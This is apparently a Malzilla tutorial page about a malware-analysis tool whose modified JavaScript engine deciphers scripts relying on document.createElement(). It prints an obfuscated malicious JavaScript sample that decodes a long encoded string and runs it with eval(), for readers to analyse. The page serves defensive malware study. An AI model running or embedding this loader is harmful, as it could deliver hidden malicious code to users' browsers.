News ::: Documents ::: Downloads ::: Links ::: Contact

Tutorial 5 

Evaluating impossible:

Malzilla supports a very limited number of DOM objects.
If you are not familiar with DOM and interaction between browser and JavaScript, lets try to explain it in few words.
If you take a look at some JavaScript, you will probably see something like document.write().
In such example, document is an object provided by the browser.
That object provides method write.
So, our browser needs to deal with some objects, and these objects and their methods are accessed from JavaScript.
You can define any kind of objects and methods if you are developing a browser or any other kind of application that can be accessed from a JavaScript.

For browsers, there are standardized objects and methods - the HTML DOM:
http://www.w3schools.com/htmldom/default.aspBack to Malzilla. As you see, there is a really big number of objects and methods that need to be supported by a browser.
As I do not have such resources, nor enough time, I've implemented just most needed objects and methods into Malzilla.
Lately, there is a lot of malicious scripts that are using document.createElement() function, which is a really big task to implement.
As I would probably need a couple of years to implement it, we need another way around.
The real problem is the script written in a such way that the eval() function is needed to decipher first round, but it makes problem lately at second step, as it will try to evaluate document.createElement(), which is not supported.
Normally, if we have to deal with eval() function, we will either override it, or replace with some more friendly function for an analyst (alert(), document.write()...).
The mentioned tricky scripts can't be analyzed such way, as neither replacing or overriding would give you the next step in analysis.
Till now, we have used the debugger to monitor the state of variables at the moment of document.createElement() occurrence.
That gave us the links to malware, but not the script.
Well, previous week I found this interesting Didier Steven's blog:
http://blog.didierstevens.com/2007/08/07/a-second-spidermonkey-trick/
I got that idea long time ago too, but I'm (almost) C++ analphabet, so I didn't know how to do it myself.
After taking a look at the changes Didier made to SpiderMonkey (ver. 1.5), I did something similar to more recent version, and modified Malzilla to use it.
Now we can also see the tricky script in deciphered form, not just the debugger output.

Thanks Didier.

Example script that explores this behavior:

var lwiy=Array(63,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7,42,36,8,59,9,26,49,31,18,0,0,0,0,0,0,52,29,62,13,15,0,44,16,34,11,43,50,45,3,20,21,22,37,38,61,27,57,25,28,58,1,60,0,0,0,0,0,0,19,5,10,17,55,32,33,54,51,2,53,39,46,6,41,12,35,24,14,30,56,47,48,40,23,4);var ctnpp="ckQaW22aGbwnNgz9pVwza2zarkb9VV2zO5QPaCdP3SkzTQb9VdNP92bdVCwNY@fn3bGMswEjC2fMsFwM6NOEsuEM3GfMIFGjsxdPYF7YhxNys77aNQbNGSkNYFdn5QEjUUyn5LGjzuyn5df8DZenyFdn5SGjIfGn57wMIGGn5QfjXQGn5LfjzuenyFdn57wMswGn5SwMXQGn5gGY!OGn5k0t3@wnyFdn5gl8DZGn57ftDxGn5kEjBQyn5SEYsGwnyFdn5LEjXUGn5SyMpGGn57Et!Uyn5gy8pZwnyFdn5Ql83wGn5Sf8Uoyn5LGjuoyn5QGtULwnyFdn5QGtzuyn57wMsfGn5ofjugyn57w8zuenyFdn5df83uyn5kw852yn5g0tpZGn57EjzuenyFdn57wMzuyn5SeM!QGn5LfMI2Gn5oEtcZenyFdn5oGtcxyn5oEjs2yn5ow8cZyn5UGPpwwnyFdn5Qw8s2On5UGPI2On5LEYc2Gn57EMc2wnyFdn5S0MDZGn57wMcfGn5SEM3wGn57w8IGwnyFdn5gEMzuyn5df8pZyn5kw8IwGn5df8SgenyFdn57EY3wGn57GYUUyn5gEMzuyn5dEtDfwnyFdn5Lw83wGn5gEMzuyn5OGjDZyn5dGtBoenyFdn57Gt32yn5Q0YUSyn5oltzfGn5oltXoyn5Qe8zZGn5dwMpfwnyFdn5UEjsZyn5oltDZyn5OGju7Gn5Ult5wwnyFdn5kG8DxGn5LEMsxyn5oftUdGn5oltXoenyFdn5df8Xoyn5UEj5fGn5dEtXSyn5Uy85uwnyFdn5gl8DZGn5QwM5ZGn5Ql85uGn5QwMsfwnyFdn5g0MXoyn5Ult5fyn5oytbGGn57Gtz@enyFdn5QwMUdGn5oltXoyn5dwMXoyn57EjUSenyFdn5Uw8zZGn5ofMsfGn5g0MXoyn5LGtBoenyFdn5QlMudGn5Q0YIZGn5olt3wGn5oltXoenyFdn5olt5uGn5Q0Yu7Gn5oltuLGn5oltXoyn5LEjcGGn5LEMIfGn5UftD@yn5LGjsxyn5oEjIwGn5LEjc@Gn5LG8c2Gn5oGYs2yn5ofjc2yn5Uftcxyn5LEjc2Gn5UftcZGn5oGjcFGn5oGjIfGn5oGjIGGn5oGjs2yn5oGjIGGn5oftDxyn5SGMDfyn5LEjsxGn5SGMDfyn5SEMDuGn5SGMDfGn5SfMD2Gn5SwjDuGn5UfjDZGn5SEtcNGn5SfMDuGn5SEjDwGn5SfMDGGn5SwjDFGn5SfMD2Gn5oGjsxGn5UEMDfen0rq9AUz09CbaYFdYpFYzDQ@y8QkaDbEM0rq9AUz0VdNP5UzNY22aGA7nCF7YhxO99Sb9OCQNWZlaVkb9VC0baYgNOW2CckQaWuNE9QzNGAfC3UNd0UNEa578sQOy3QkWtVOP8gzb9OdG8kb98dbbVO7dYVaO6dd0sO7d3UNd0UNEa578sQOy3QkWtVOP8gzb9Yg0tNdG8kb98dbbVO7dYb2COobbAuNb0g2abA2aYpQz!UNPAgNPiUQOVSb9N3bztuYztudbYSOy3SbON2Ob0bNGhNQPN@gaOWz9sO@dsbwN9FyP3ClyPQky3dg0tEgNOz@yAg@yNddPOWNGYVaO6dd0sO7d3UNd0UNEa57tVg@WtVOP8gzb9Yg0tNdG8kb98dbbVO7dYb2COobbAuNb0g2abA2aYpQz4Qb9iUQOVSb9N3ObYSOy3SbON2Ob0bNGhuNP3Q2a9dgaOWfCYVqP55ky3OkN977taddyOW2CckQaWxkaabGy9ZlaVkb9VClyPQky3dg0vSQaOU7btwz9O5kP9xyOGQQ0yu7TbS20yuY9VbkWtU7btrOP8g20Gug0Orq9AUz0DkbaYZlaVkb9VC0bAYg0vdOPtWg0GYQzS7zaGOkytWg0AgNOa5Q0OWfCckQaW3bNY3O9GYkYhxQNAbOPYugPOYOPC2GM92bdVU7YhxQNAbOPYxkaa5g85ObNr7Py3dbb6S@N9FyP3SnaVSOOAYQtaYbPVUzbsNYz65OydQOb0rM9sO@d9YOE!UNPAgNPiddyGudWOSQatWg0aS@N6g2z2b0W@U7btfn6FUdb03bN9pbaV5bbtFytxUYzVdNP5UzNGxOyGSNPOWGGhZOy3SbON2Ob0g2abA2NGbw8sQOy3QkWN@bztzeT2U7btz0Ws3YV7Y0AtWg0xgnTtN7Y9YQza7NP9dg04Q06tEdPzQO9sYbz6kbNDQOb0z2C8kb98dbbVO7d3UNd05bNYZlaVkb9VC0bAYg07SnVtWg07YlM9ZPPsoNPsdR0yudWwd06x7R0OWfNG57NpQQNNu7tUgR0G2bdVQ2aGYgPAYkaVO7YYViyAg@yNddPOWz9sO@d9YOE9Qk9WGPWwd09372TVkN9VSz9NN7Y9YQza7NP9dg04Q06tEdPzQO9sYbz6kbNDQOb0z2C8kb98dbbVO7dsQb95U2NWwwYYbNGYVqNG57aV5bPN3O9GYOb0rqatbfNG5gaVSzaa5kaVUeNrO@YhxNys7YdYZlaVkb9VC0bAYg0SgeWtWg0uUlzvg2atWg0VkONtN7YhG2zxOzaVbGM0raPckbNNuYd9u7bsQbaGAnMgAg0YZwYz5g0yuNPpYkVCzhbtGdb0G2ztWgaV7zNlUGryuYbsUOb0G2ztWgaV7zNlSGryuYb65OydQbzsN7YDkba9u7bsQbaGAnjgAg0NxQNAbOPOWf0OWfCsQb95U2NW@wYhz2CckQaWuNPpYOE9Qk9W@laskOdNudWaU7btfOPtEg0i720yudP9UYztFRatWg0OgNPtEg0vkQ0yug9VghN6U7btNbNVUYztZnOVU7btEbNUd20yudP8Qz9VUdb0rqP55ky3OkN97dNrkkyNN7dhxNys7dOYwwYhxNys7Y9AU@PVgNE9Qk9W@laskOdNug8uOfjtWg0!QGjczgj5@eMd@GMu7GzbGwMSbYMpZ0M3xl0yu78sNGtDxf0Gug8uOfjtWg0!QGjczgj5@eMd@GMu7GzbGwMSbYMpZ0M3xl0yu78sNGtDwf0Gud8BOf8tWg0!Q0tubdt!LGtdfwjUkGzbZfMszYt3@lMCwf0yugjCFGMCxf0GuYMpwfjtWg0X7wMDzYMpwEMdwEMpwGz!7EMpzYMpwEMpwf0yuYMpwEM3xf0GuYMpwfjtWg0X7wMSbYMpwEMdwEMpwGz!7EMpzYMpwEMpwf0yuYMpwEM3xf0GugjVSfMtWg0pFEMAb7jcxEPdfGPVoGzzFGY8bYP8kfPAOf0yudMrUfP8Sf0Gugj3@EjtWg05@fMBbg8bFEYdfGjCfyzS7Etzzgt!o0tXSf0yu7MUdwMDZl0Gu7jXQf8tWg0IxljDzgtpxftdfwMD@Gzz@lMcz7MDNGtpZf0yu78p@ytDfl0GuYMcFfMtWg0D20Mbzgt3ZlMdfwM8dGzzZGjzzYMbxe8ukf0yuYtB7wjcxf0GugjDNfttWg0IuGjXbdMBUEtdfEYD@GzSOftubYYIfEY3Ff0yugjzuEMCwf0Gug8S7GMtWg0z2GYbzdMuUeMdfEj6OGzzZf83zYjc@Ej5ff0yu78zff8Xdf0GuYtpZ0MtWg0Ifyjcz7j!oGYdfwMXkGzBgG8pzgM5xyjSkf0yudMXkl8CNf0GudtzZe8tWg0!g0tXb78SUEYdfGYcuOzB7Gjpzgj!7wj!Of0yugjsfwjcul0G3O9GYOb0ri9NObNVdY9AU@PVg@VObPb0Vq9AUz0AbfN5YbN0rayYfkN8QNNV5b99ZQaVkb9VQ0NVbOP9gzbtpQyPQky3Udb0ray9ZNP3k093UNOtQz9Vdg08YOyDSNOrUYztZbNDObPnu7b3kQaTQb9lOOrOWfCOobbAO7d3UNd0oNys7gyYZlaVkb9VC0bAYg0vdQ0yudPGYQzS7zaGU7btNkyAgNOa5Q0OWGO6dgyOWNO6d7taddyONgaVgN9s5b0CWGGYSOy3SbON2Ob0bNGhNkbyWfCYVaGhNQPNzbPASbbONY0DQ@y8QkaDbGM0raO6dd0DQ@y8QkaDO7dhfkN8QNNV5b99F2aOgNPNuYEDSQaO7z9WEOy9LO9ALOPYxR8vSQaO7z9jERaf5Q0yrinvQb9W2bNVbOErCky5bOP9g2z8UNPAgNPUYOPdQQN3dg0aUQOVSb9tN7nyuYrsYRNtWgCTxQNAbOPYugPOYOPsZEj92bdVU7nyuYrsYRNtWgCT2bNVbQzDQb9Sgz9sOQy5gNPWudOrUYzt2bNVbQ0TWg0fUzr9U7bhFdPGQON9ZNP3k093UNOtQz9V7g08YOyDSNOrUYztZbNDObPnu0tbxwnyF7852fjdxGjSSGzC@EtpzdYzZG8dwEM!7EjXL7bTZlMb2eMcu7nyuYrsYRNtWgCTZPP377NtVOEVYOPd578sQOy3QkWtVOP8gzbtZnOVL7bTEbN9@0apYOOTW7n8kb9OCQNtEg0tN7nyuYrsYRNtWgCtZPP37gND7NEaUQO93yydQkTpkkyVdgMpNYrsYRNtWgCTZPP37Ya9bOE9Sza9wPysSNPKkONVdg0vONNtCbN9fz96UdbTWg0fUzr9U7bhFY9d7NEv7zNOgzbp5ON9wPy3dbztEnrtEdzCEdMOF7btERaf5Q0yrinpkb9NbE9d7zbpNY06wg0fYR0WxY0WfNNpddMOwgnWuYrfU7nyuYrsYRNtWgCtxQNAbOPYwNy3db06wgP9kONVYRaf5Q0yrinDQb9WfzaC7zPYZlaVkb9VClyPQky3dg07OkysU7btpkaaob99GPWwU7btG06x7R0OF7btERaf5Q0yrinOOOa5bE9pkzar57nyuNPpYkVCzhbTGg04Q06tEdPzQO9sYbzpN7nyuYrsYRNtWgCtfzaC7zP9ZPP9gbbOERaf5Q0yrq0i5b0UU2aaUz0mQka5bOPW3yPzgzrsYRNtWgCt2kPDOzOabE9pkzar5gaVSzaa5kaVUeNrOzrsYRNtWgCTZPP37dy8oNaCUzaY2bNVbQz!UNPAgNPiUQOVSb9Nu7T8UNOTW7npgNO9LQzXObNVSPdDg@nyFdPdClyPQky3UYztudbTWg0fUzr9U7bhu7TVgz0yYbPY@kyckNas72z!UNPAgNPxQbd3oyOGQbb65OydQbzWfRToQybfUzr9U7bhuYNag2dabOEwQQNBddPTSNdNCObfUzr9U7bhugtaUz0PbGMWfhNWEkN3V@NdYRaf5Q0yrq0pYkOaSzNYzyOrU0bVLkabdkNGrbzCNYrsYRNtWgCt@Nyd7zNzgOESS@yBdYaGAkNDYObfUzr9U7bhu7OGgQzJUNO3Qbb!dQaN@Nyd7zNzgObOERaf5Q0yrq0KQbd3YRaf5Q0yrq0yYbP9Z0NaSNPfUzr9U7bhF7TVgz0bOba3bGPGQON9ZlaVkb9VClyPQky3dg0JShysL7bTNba357TNQbNGUYztudbTWg0fUzr9U7bhu7W97dtsU@Ns7gTVSN9dQb0KQbd3YRaf5Q0yrq0bOba35gT55b065OydQbzCEgtSYeTUYRaf5Q0yrinEEhzDSQaO7z9jFdb0raGhNQPN@7a5SkyVS@aOW2CVdNP5UzNY22aGA7nbF7YhfkN8QNNV5b99F2aOgNPNFYEaUQOVSb9WZbNAS@aOgOEtZbNDObPn2GYuU0tukljdNG8zwGz3uG83zg8zuEjdNf8!QEM!SyMIuft5uY0OgOEtfNPDg20jEwzaUQOVSb9jFdb0rM9sO@d3Qka35YtaL2NGCOyroyOGQbbVdNP5UzNGugz9EnrjgNNp7EMp@fzVdNPtEg0puYztwf0OWEPaSO9dQQN35YNaSOy3OkN9bf0VdzaGCOO3S@zzOfzpdbaMrNP9gN9sOOECu7YYSOy3SbON2Ob0b2CYVaO6dd0DQ@y8QkaDO7dhxNys7YODg@NAgbPsbEMz7Gjp2EM5wGj0rq9AUz0dO@a3UNO9LOE55OPDSOypQbbDdOPGYkyaA7nV22MpZwMTN7YhxNys7YOtSNOnQOEpGzjpwEMpwwYhxNys7YaGSNOnQOEdO@a3UNO9LQzGQQNTgzOPuwYhxNys77apSzNDOQdVbEOtSNOnQOzNwzNDOQdVAYMzSEYOWfCckQaWZzaDYOE55OPDSOypQbbt2d9tWgNa7@b9Cbayudn5U7b9Cbay3kNpO7YhFzOOYOPNZzaDYQzGQQNTgzOPuEED7@aGSNOnQOb0SzaDYkbYZzaDYOGhZzaDYOED7@aG57a5Uka3UNO9LbbpE7apSzNDOQdVCgMOWfCNUbNaSkODbEbNSz9akbPrUNzpGzjpwEMpwGbaGQyDOQdVAfCdQONaUNdY3OPI7d8sUNybddb0rqPaUzbObEM0NbENUbNaSkODAGOyWdb0bOPdCQabAPOgbwapSzNyzOdDg2aO5kPYVq9AUz0DS2a3bwnWzOP3dkNrbf0TWfC6CQaNNOEpWGOE@EM3Zwj0NkbyN7dDS2a3AdETx70z7Gjp2wYTz2CrCky5bOP9g2zIUNO3QbbTEEO3bbNWGNNG5kanxNEt22a9Vwa8dOPdkkadzOO8U@NDCQP3b7yabQYcbbNt3EEaUQOVSb9WNbPYug67YlTV5bPVU20WZbNAS@aOgOEtZ0WvO0tn@EMpFfM!Qe8dGw8!kGzC@EtCzdYzxGtdwEMS7w8b2GjBgfMUUgEEp7NtVOP8g2EEZz9bYOPjxzrfVfb0UOPNkQ9OCQan22aGd701b0WmQQNrQQaOWGGEp7a3OzNV5EEcVfaVSb9WZz9bYOPYu79Ogb9NVGMswEa3AEOVOkPNg2YzwEa3UY06ObNGSkNGCQaYugaVgQ0jEf9nxOOGYknyZ@asg@bTugEEpg9nuNP8g2EEpg9nxOOGYQETN7Yhz2COobbAZN98SOPDSNb0Vq9AUz0dO@a3UNO9LOET2d9TWgNa7@b9CbayZzOVYbN8CkbT2d9swwMsF7YhFzOOYOPNzOdDg2aO5kP9EOP9Lb9NYwMpFfMOWNNbSz9sOQNTAdET2d9TWgNa7@b9CbaYAfCdO@a3UNO9LOE55OPDSOypQbbdO@a3UNO9LOb0rq9AUz0tOkPtbG99Qka8kbaVdg0V2zM87wytN7YhFzOOYOPNuOOTUQzGQQNTgzOEzEMzkEMpwEMpN7dtOkPtAdEtOkPtb2CckQaWzOPdCQabbfNVLz0SU2aAOzbOWfC6CQaNxNys7dOYwwYOYGMswwYOA7bOWNNVbkNsO@VObPEtOkPt57a5Uka3UNO9LbbpEYMzkEMpwEMpzdNbSz9sOQNT5YNV5kP3dObyzOdDg2aO5kPYVq9AUz0sQbaGbfNVLz0SU2aAOzbtFPPtUYztxPOVL20GugtaYbPVU20GudA8CQNtN7YhxNys779coOOYuNPpYkVpzhbsQbaGAPMgAgaV7zNlUGryuNPpYkVDzhbT37nyuNPpYkVpzhbsQbaGAPMgAgaV7zNlUGryuNPpYkVDzhbT3dMTWfC6CQaNxNys7dOYwwYOYGMpuEj0NkbyN7dhxNys779coOOabfNVLz0SSb9OoNP2ClyPQky3d79coOOOWfCVoNyGdg03UNd0L296OkN9ZNP3SR0yuYNOSOPNwEdIxQP6oQP6QbzpEYMGuEMs@GMc@EMzN7YYSOy3SbON2Ob0b20OWfCckQaWF296Ob9Y3OPI7d88gNOcQbViUQOVSb9NF296OOb0raGhz2COobbAZN98SOPDSNb0VMPaSO9dQQN3579sOb9Vdg0EpQyPQky377yGkkaDObPYF7yGSNOrVEt!QlMXdf8Czd85uEMd@GMugGzzx0tpzYMpf0MBLwjDwfMIFwnWNbPYFY9AU@PVgNMT3EEapQyPQky35f0OWfCrCky5bOP9g2zIUNO3QbbtEwNtVOP8gz08YOyDSNOrbwn8YkaOgQYbfeMbufMD2yzSQ0YUbdMCf0jdGftuSGzpwEtpuejIZEMsFwjTwdOrbwn3kQaTQb9sFgEEp7NtVOP8g2EtN7YhxNys7dNbSz9sOQNTbG99Qka8kbaVd7aNQbNGSkNyFdn5SEMD@wnOWfCtOkPtYkN8AOE55OPDSOypQbbt2d9tWgNa7@b9Cbayudn5U7b9Cbay3kNpO7YhZzND7Ny8QOEswwbdO@a3UNO9LQzGQQNTgzOhFzOOYOPNuOOTUbNaSkO9EOP9Lb9NYwaGSzaASOPOuOOTUbNaSkOyzfyOLQyGCkyyAfC6ObNGUbNaSkOYuOOTUbNaSkO9ZN9tSz9sOQNTdYMGZzND7Ny8QOb0rqyGCkyybfyOLQyGCkyy57a5Uka3UNO9LbbpEgyOLQyGCkyy5YNV5kP3dOzDYkapkkyVO7YhFzOOYOPNubNaSkO9EOP9Lb9NA7aGSzaASOPEwEd3wEMpwGbtYkN8AOEtYkN8AkbtYkN8Akb6ObNGUbNaSkO0raNVbkNsONE9Qk9W@laskOdNN7YhxkNsdYdYwwYzYEYpwwYzA7bOWNNVbkNsO@VzbPEtYkN8AkbdO@a3UNO9LOGhuO96oOPsbwnfdzMAL7YhFzOOYOPNuO96oOPs5YNV5kP3dbE5wEMpNgy5oQPVU@bYFYrz7GyfdzMAYndp@brz7GyTWfC3UNd0g2abAz9AU@PVgNM9ZNPsoNPsbfy5oQPVU@Y3kQaTQb9C3dO9Ob9OkbNOVNPNN7Y3kQaTQb9C37aV5bPNNdGhZOy3SbON2Ob0gNysLOP3UfzDQQacQQaYuO96oOPsAE9AU@PVg2M9uNP8QOOcQbbOWGGYSOy3SbON2Ob0b2CYVaO6dd0DQ@y8QkaDO7d7rq9AUz0sQbaGbf0S7GYSQljzxl00zqCrCky5bOP9g2zIUNO3QbbTEwNtVOP8gz08YOyDSNOrbf08YkaOgQYTWgaV7zNyFdzBkEjubYjD20tduejCZGzBk0jCZftpZEjbwEjtwdOrbf0IOQNnObat3EEapQyPQky35wnOWGphxNys7dNbSz9sOQNTbG99Qka8kbaVd7aNQbNGSkNyFdn5UEMDGwnOWGphxNys7YODg@NAgbPsbEMz7wypZbM87wy0zqCckQaWGQyDOQdVbEMzgEMpwEMpWGphxNys77apSzNDOQdVbEOtSNOnQOzNzOdDg2aO5kP9EOP9Lb9NVgMywEdDGGb0zqCckQaWuOOTUOE55OPDSOypQbbt2d9tWgNa7@b9Cbayudn5U7b9Cbay3kNpO7Y7ri9NObNVdgyOLQy9EOP9Lb9NVgMEZzaDYkaOVNPOW2yOLQyyzfyOLQyYbqCtOkPtbfyOLQy9ZN9tSz9sOQNTdYMGZzaDYkaOVNPauGb0zqCNUbNaSkODbEbNSz9akbPrUNzpGzjpwEMpwGbaGQyDOQdVAGphxNys7dNVbkNsONE9Qk9W@laskOdNN7Y7rqPaUzbckQaWNOEpWGOEGQyGCkyyS@YOA7bOWNNVbkNsO@VObPEtOkPtAdNbSz9sOQNTbNphxNys7Y9VSz9YF7n0zqC6CQaNNOECWGOEuwMCWGOyWdb0gNPDg@bYFd8TzNphfNPDg@bYuYrz7wyfdzM8YndpZbrz7wyfdzM8YndpZbrz7wytWGphf2abA@9O5QdO72z!UNPAgNPKQk9XCbNrQQaXU@Nd5yydQbb3Qka3OdG7riyAg@yNddPOWNG7raG7raO6dd0DQ@y8QkaDO7dhf2abA29AUz03Qka3bfNVLz0SSb9OoNP2ClyPQky3d7nLQNO8Ab6ObOP9@P9OSkOxOONVLdb0rq9AUz0dO@a3UNO9LOE55OPDSOypQbbDdOPGYkyaA7nV22MpZwjTN7YhxNys7YODg@NAgbPsbEMz7wypZbM87wy0rq9AUz0NUkaOVNPYwEd3wEMpwEM0rq9AUz0D7@aGSNOnQOENUkaOVNPdGdNbSz9sOQNT5YNV5kP3dQbsWYMzSEYOWfCckQaWuOOTUOE55OPDSOypQbbt2d9tWgNa7@b9Cbayudn5U7b9Cbay3kNpO7YhFzOOYOPNuOOTUQzGQQNTgzOPuEED7@aGSNOnQOb0UOOTUkbYuOOTUOGhGQyGCkyySNENGka3COyrgQadwEd3wEMpwEMOpYOtSNOnQkYhuOOTUOEtOkPt57a5Uka3UNO9LbbpE7apSzNDOQdVCgMOWfCckQaWzOPdCQabbfNVLz0SU2aAOzbOWfC6CQaNxNys7dOYwwYOYEOtYkN8Aka0NkbyN7ddQONaUNdlOOrYuOOTUkbdO@a3UNO9LOGhfkN8QNNV5b99F2aOgNPNFYEaUQOVSb9WZ0WSShTkgyEtZbNDObPnwfMBolM5fyjdGw8CFGz3ulMDzg8!dEMdfeM3GEYSU0tuSljBUgEEwNyskONW3OydQOEtZ2a8UY0ckbN5QOEt2bdpYkNOg@aaG@jt5YaN720jEEaAUNyd7gNAbOPYudy5g@NpYOybUY0ckbN5QOEtf2a5QQ0jEEaAUNyd7gNAbOPYuYNaCbatwg9AYO9Vbf06kbNDQQ0jEEaAUNyd7gNAbOPYu7ya5b9sCbNGQQatwg9AYO9Vbf03UN9VUgEEp7NtVOP8g2ETN7YYViyAg@yNddPOWNGhz2COobbAZN98SOPDSNb0Vq9AUz0dO@a3UNO9LOE55OPDSOypQbbDdOPGYkyaA7nV2@MsZGMTN7YhfkN8QNNV5b99F2aOgNPNFYENgNNG7YddYQNDbf0Ngz9pVwzaF@9I579D37NsLkzCNGYbpYdNgNNGUgEEpQyPQky37dOrbE9AU@PVgz08YOyDSNOrbf0!YeTkglYzGEPbxGY8QGz6kGYszdMCfbjd@Qj5xOzpwEjpNfjDuGjC2Ojt3EEapQyPQky35wnOWfCckQaWZzaDYkaOVNPYwEd3wEMpwEMdGdNbSz9sOQNT5YNV5kP3dQbsWYMzSEYOWfCckQaWZzaDYOE55OPDSOypQbbt2d9tWgNa7@b9Cbayudn5U7b9Cbay3kNpO7YhFzOOYOPNZzaDYQzGQQNTgzOPuEED7@aGSNOnQOb0SzaDYkbYZzaDYOGhxNys7YOtYkN8AkaYGYMz7Gjp2EM5wGjdwEd3wEMpwEMOpYMzgEMpwEMpWfCckQaWzOPdCQabbfNVLz0SU2aAOzbOWfC6CQaNNOEpWGOEGQyGCkyyS@YOA7bOWNNVbkNsO@VObPED7@aGAdNbSz9sOQNTb2CckQaWpQyPbEPaSO9dQQN357PVgNtGQONV5b9BONArd7n3kQaTQb9TNgzaUQOVSb90rM9sO@daUQO9pbaV5bb9Qk9W@laskOdNNYz9Qk9W@laskOdNNYz9Qk9W@laskOdNNYz9Qk9W@laskOdNNYz9Qk9W@laskOdNNdbYSOy3SbON2Ob0b2C3UNd0CQyP57NpQQNN3OPI77WtVOP8gzbOEgNVLz0iUQOVSb9NNYz9Qk9WplyPQky3ddbG3OPI77WtVOP8gzbOEY09Qk9WplyPQky3ddbOz@yAg@yNddPOWNGhf2abA@NtVQzDQb9mQOa5Qka3dyPAgOPsdgNVLz0iUQOVSb9NNYzT3gz93gz9FdbYSOy3SbON2Ob0b2C6CQaNNOEpWGOE@GM0NkbyN7d3UNd0CQyP57aVg2TVkN9VSz9@QOyrQQaN3OPI77WtVOP8gzbOEYMzkfMDfGjcFEYOz@yAg@yNddPOWNGYVaGhNQPN@7a5SkyVS@aOW2CrCky5bOP9g2zIUNO3QbbTEGyp7zNVgz0AU@yNOQ9Vbf0VdzaGCOO3S@zzkGjt5YaN720WZkNrQOEtuyyAkOyBkOy9ZbNAS@atw79Ogb9NbGMWGOPOLbO3bGMjEEaAUNyd7gNAbOPYud9sYQ0WxNyGQNPYu7ny22aGA7nC2f0jEwzA7zaGQb9jFdb0raGhNQPN@7a5SkyVS@aOW2CckQaWzOdDg2aO5kPY22NVS@yA7NPNZzOVYbN8CkbT2d9DxwMCFdb0rq9AUz0NSz9akbPrUNEpGzM3wfjpfEMcWfCckQaWwzNDOQdVbGNbSz9sOQNT5YNV5kP3dQbsWfCckQaWGQyDOQdVbEMzgEMpwEMpWfCckQaWZzaDYOE55OPDSOypQbbt2d9tWgNa7@b9Cbayudn5U7b9Cbay3kNpO7YhxNys77apSzNDOQdVbEOtSNOnQOzNwzNDOQdVAYMzUEYOWfCckQaWGQyGCkyySNENGka3COyrgQadwGMpwEMpwEMOpYOtSNOnQkYhFzOOYOPWG7apSzN9EOP9Lb9NVgMEZzaDYkaOVNPOW@apSzNyzwapSzN0z2CD7@aGbwapSzN9ZN9tSz9sOQNTdYMGZzaDYkaOVNPauGb0rq9AUz0dQONaUNdY3OPI7d8sUNybddb0rqPaUzbObEM0NbENUbNaSkODAGOyWdb0bOPdCQabAPOgbwapSzNyzOdDg2aO5kPYVMPaSO9dQQN3579sOb9Vd7nEZz9bYOPjueWuOhd!QRTvClTn22aGdg0VdzaGCOO3S@zzkfjt5YaN720OzzEaZz9bYOPjFdb0raGhNQPNZN98SOPDSNb0gkN8QNNV5b99F2aOgNPNF7nOWGGh2bNDQkdrCky5bOP9g2zIUNO3QbbTFdb0z2C";var asctnc=12632,qopnhlyw,sylp,gknln='',arxsuw=eovv=pxkt=0;for(sylp=13;sylp>0;sylp--){for(qopnhlyw=Math.min(asctnc,1024);qopnhlyw>0;qopnhlyw--,asctnc--){eval('pxkt|=(lwiy[ctnpp.charC'+'odeAt(arxsuw++)-33])<<eovv;');if(eovv){gknln+=eval('String.fromCha'+'rCode(60^pxkt&255)');pxkt>>=8;eovv-=2}else eovv=6;}}eval(gknln);

Test that script with both Malzilla 0.9.2.3 (pre3) and 0.9.2.4 (pre4), with Override eval and Replace eval, and test it with 0.9.2.4 without overriding or replacing (Leave as is option), and see what I mean.